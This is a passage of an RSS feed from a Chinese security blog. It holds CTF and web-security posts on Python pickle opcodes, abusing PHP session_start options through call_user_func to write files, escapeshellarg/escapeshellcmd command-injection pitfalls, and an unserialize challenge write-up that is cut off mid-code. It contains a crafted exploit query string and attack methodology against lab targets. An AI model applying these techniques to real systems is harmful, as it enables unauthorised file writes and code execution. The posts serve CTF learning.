class="c1"&gt;#haker&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里可以看到序列化后的数据，这是opcode码。这里了解一下PVM(python虚拟机)的组成和执行流程。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="pvm"&gt;&#10; PVM&lt;a class="heading-anchor" href="#pvm" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;对python，它可以直接从源代码运行程序。python解释器先将源代码编译为字节码，然后将字节码放在PVM里面执行。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="由三部分组成"&gt;&#10; 由三部分组成：&lt;a class="heading-anchor" href="#%e7%94%b1%e4%b8%89%e9%83%a8%e5%88%86%e7%bb%84%e6%88%90" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;指令处理器( Instruction processor )&#10;从数据流中读取操作码(opcode)和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack和 memo区域的值 .直到遇到 ==.==这个结束符号 。这时 , &lt;code&gt;最终停留在栈顶的的值将会被作为反序列化对象返回 &lt;/code&gt;。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;栈区( stack )&lt;/p&gt;&#10;&lt;p&gt;由 Python的列表( list)实现 , &lt;code&gt;用来临时存储数据、参数以及对象&lt;/code&gt;。作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作，并最终在栈顶生成反序列化的结果&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;标签区(存储区---memo )&lt;/p&gt;&#10;&lt;p&gt;由 Python的字典( dict)实现 , 可以看作是数据索引或者标记 , &lt;code&gt;为 PVM 的整个生命周期提供存储功能&lt;/code&gt; .简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中，以便使用。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;</description></item><item><title>session_start对数组处理进行写文件</title><link>http://blog.foreverwl.top/blog/session_start%E5%AF%B9%E6%95%B0%E7%BB%84%E5%A4%84%E7%90%86%E8%BF%9B%E8%A1%8C%E5%86%99%E6%96%87%E4%BB%B6/</link><pubDate>Tue, 17 Oct 2023 12:55:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/session_start%E5%AF%B9%E6%95%B0%E7%BB%84%E5%A4%84%E7%90%86%E8%BF%9B%E8%A1%8C%E5%86%99%E6%96%87%E4%BB%B6/</guid><description>&lt;p&gt;看代码：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$action = $_GET[&amp;#39;action&amp;#39;];&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$parameters = $_GET;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if (isset($parameters[&amp;#39;action&amp;#39;])) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; unset($parameters[&amp;#39;action&amp;#39;]);//消除数组中的action&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;call_user_func($action, $parameters);//回调函数&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(count(glob(__DIR__.&amp;#39;/*&amp;#39;))&amp;gt;3){//对当前目录进行判断，如果文件大于3 读取flag文件&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; readfile(&amp;#39;flag.txt&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;也就是往当前目录写文件，我们如果想要使用fopen()，file_put_contents()，进行写入，参数至少都要两个，而这里只能传一个参数；可以考虑session_star()，这个函数可以接收一个数组进行初始化，数组中可以设定session options&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="session_start"&gt;&#10; session_start():&lt;a class="heading-anchor" href="#session_start" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;session_start — 启动新会话或者重用现有会话。session_start(array &lt;code&gt;$options&lt;/code&gt; = []): bool&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;options&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;此参数是一个关联数组，如果提供，那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以看到对options的解释：此数组中的键无需包含 session. 前缀。&lt;a href="https://www.php.net/manual/zh/session.configuration.php"&gt;PHP: 运行时配置 - Manual&lt;/a&gt;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="sessionsave_path"&gt;&#10; session.save_path：&lt;a class="heading-anchor" href="#sessionsave_path" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;定义了传递给存储处理器的参数。如果选择了默认的 files 文件处理器，则此值是创建文件的路径。默认为 &lt;code&gt;/tmp&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;那么我们就能够自定义存储会话的存储路径，我们就能够往指定的目录下进行保存我们的回话文件。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;session_start&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;save_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;a_tool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;phpStudy&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PHPTutorial&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;WWW&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;zsxq&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;10.5&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后我们添加或修改cookie，我们的会话文件就保存在指定的目录。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="注意"&gt;&#10; 注意：&lt;a class="heading-anchor" href="#%e6%b3%a8%e6%84%8f" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;测试时注意文件的权限，使用php 7.0以上测试 ,我使用的php7.1.11。&lt;/p&gt;</description></item><item><title>escapeshellarg和escapeshellcmd</title><link>http://blog.foreverwl.top/blog/escapeshellarg%E5%92%8Cescapeshellcmd/</link><pubDate>Sat, 07 Oct 2023 15:48:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/escapeshellarg%E5%92%8Cescapeshellcmd/</guid><description>&lt;h2 id="escapeshellarg"&gt;&#10; escapeshellarg()&lt;a class="heading-anchor" href="#escapeshellarg" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;看官方给出的解释：&#10;escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数。&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;escapeshellarg()&lt;/strong&gt; 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号，这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含&lt;a href="https://www.php.net/manual/zh/function.exec.php"&gt;exec()&lt;/a&gt;、&lt;a href="https://www.php.net/manual/zh/function.system.php"&gt;system()&lt;/a&gt; 和&lt;a href="https://www.php.net/manual/zh/language.operators.execution.php"&gt;执行运算符&lt;/a&gt; 。&lt;/p&gt;&#10;&lt;p&gt;在 Windows 上，&lt;strong&gt;escapeshellarg()&lt;/strong&gt; 用空格替换了百分号、感叹号（延迟变量替换）和双引号，并在字符串两边加上双引号。此外，每条连续的反斜线(&lt;code&gt;\&lt;/code&gt;)都会被一个额外的反斜线所转义。&lt;/p&gt;&#10;&lt;p&gt;也就是说，他会确保我们传入的参数是安全的，将引号经过转义重新组成。&lt;/p&gt;&#10;&lt;p&gt;看一下例子：(在linux下跑，win下看不到效果)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;xx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//输出 &amp;#39;xx&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;添加引号输出。&lt;/p&gt;&#10;&lt;p&gt;再看：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;x&amp;#39;x&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//输出 &amp;#39;x&amp;#39;\&amp;#39;&amp;#39;x&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;x&amp;#39;&amp;#39;x&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//输出 &amp;#39;x&amp;#39;\&amp;#39;&amp;#39;&amp;#39;\&amp;#39;&amp;#39;x&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因为我们加了一个引号，他将引号转义表示并且输出。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="知识点"&gt;&#10; 知识点：&lt;a class="heading-anchor" href="#%e7%9f%a5%e8%af%86%e7%82%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;linux中反引号：带上反引号的命令，反引号内的命令先执行一次，再将结果执行一次&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202310072044549.png" alt="image-20231007204436497" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202310072044549.png" alt="image-20231007204436497"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一步:先执行反引号内部的命令，结果为 cat 1.txt&#10;第二步:将结果再执行一次，也就是 cat 1.txt&lt;/p&gt;&#10;&lt;p&gt;linux中的单引号和双引号:&lt;/p&gt;&#10;&lt;p&gt;区别：&lt;strong&gt;单引号属于强引用，它会忽略所有被引起来的字符的特殊处理，被引用起来的字符会被原封不动的使用；而双引号属于弱引用，它会对一些被引起来的字符进行特殊处理&lt;/strong&gt;。 简单来说，单引号直接输出内部字符串，不解析特殊字符；双引号内则会解析特殊字符&lt;/p&gt;&#10;&lt;p&gt;看下图片：&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202310072047992.png" alt="image-20231007204747963" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202310072047992.png" alt="image-20231007204747963"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;如果在参数拼接时，使用了双引号的话，即使使用了escapeshellarg()，也可能导致命令执行漏洞。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="escapeshellcmd"&gt;&#10; escapeshellcmd()&lt;a class="heading-anchor" href="#escapeshellcmd" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;看官方给出的解释：&#10;escapeshellcmd — shell 元字符转义&lt;/p&gt;</description></item><item><title>2023巅峰极客unserialize</title><link>http://blog.foreverwl.top/blog/2023%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2-unserialize/</link><pubDate>Sun, 24 Sep 2023 15:46:01 +0800</pubDate><guid>http://blog.foreverwl.top/blog/2023%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2-unserialize/</guid><description>&lt;h2 id="环境搭建"&gt;&#10; 环境搭建&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;题目镜像：lxxxin/dfjk2023_unserialize&#10;开启环境：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-dockerfile" data-lang="dockerfile"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker run -it -d -p 4599:80 -e &lt;span class="nv"&gt;FLAG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;flag&lt;span class="o"&gt;{&lt;/span&gt;8382843b-d3e8-72fc-6625-ba5269953b23&lt;span class="o"&gt;}&lt;/span&gt; lxxxin/dfjk2023_unserialize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h2 id="题目考点"&gt;&#10; 题目考点&lt;a class="heading-anchor" href="#%e9%a2%98%e7%9b%ae%e8%80%83%e7%82%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="1反序列化字符串逃逸"&gt;&#10; 1.反序列化字符串逃逸&lt;a class="heading-anchor" href="#1%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%ad%97%e7%ac%a6%e4%b8%b2%e9%80%83%e9%80%b8" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h3 id="2源码泄露"&gt;&#10; 2.源码泄露&lt;a class="heading-anchor" href="#2%e6%ba%90%e7%a0%81%e6%b3%84%e9%9c%b2" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h3 id="3无数字字母rce"&gt;&#10; 3.无数字字母rce&lt;a class="heading-anchor" href="#3%e6%97%a0%e6%95%b0%e5%ad%97%e5%ad%97%e6%af%8drce" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h2 id="解题过程"&gt;&#10; 解题过程&lt;a class="heading-anchor" href="#%e8%a7%a3%e9%a2%98%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;开始一个登录框，试一下万能密码&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271643495.png" alt="image-20230727164318452" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271643495.png" alt="image-20230727164318452"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里注意报错信息，push_it类里面的_toString方法必须返回一个字符串类型的值，这道题应该是反序列的一道题。&lt;/p&gt;&#10;&lt;p&gt;这里通过扫目录，发现源码泄露，直接访问www.zip，下载源码。&#10;这里有4个php文件&#10;先看index.php&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;include_once&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;my.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;include_once&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;function.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;include_once&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;login.html&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="c1"&gt;//开启会话&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pwd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="nv"&gt;$root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="nv"&gt;$pwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pwd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="nv"&gt;$login&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;push_it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pwd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;//实例化push_it类&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;login&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$login&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="c1"&gt;//先进行序列化，再经过b函数处理&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;script&amp;gt;location.href=`./login.php`;&amp;lt;/script&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;my.php&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;pull_it&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nv"&gt;$x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__construct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$xx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$xx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span 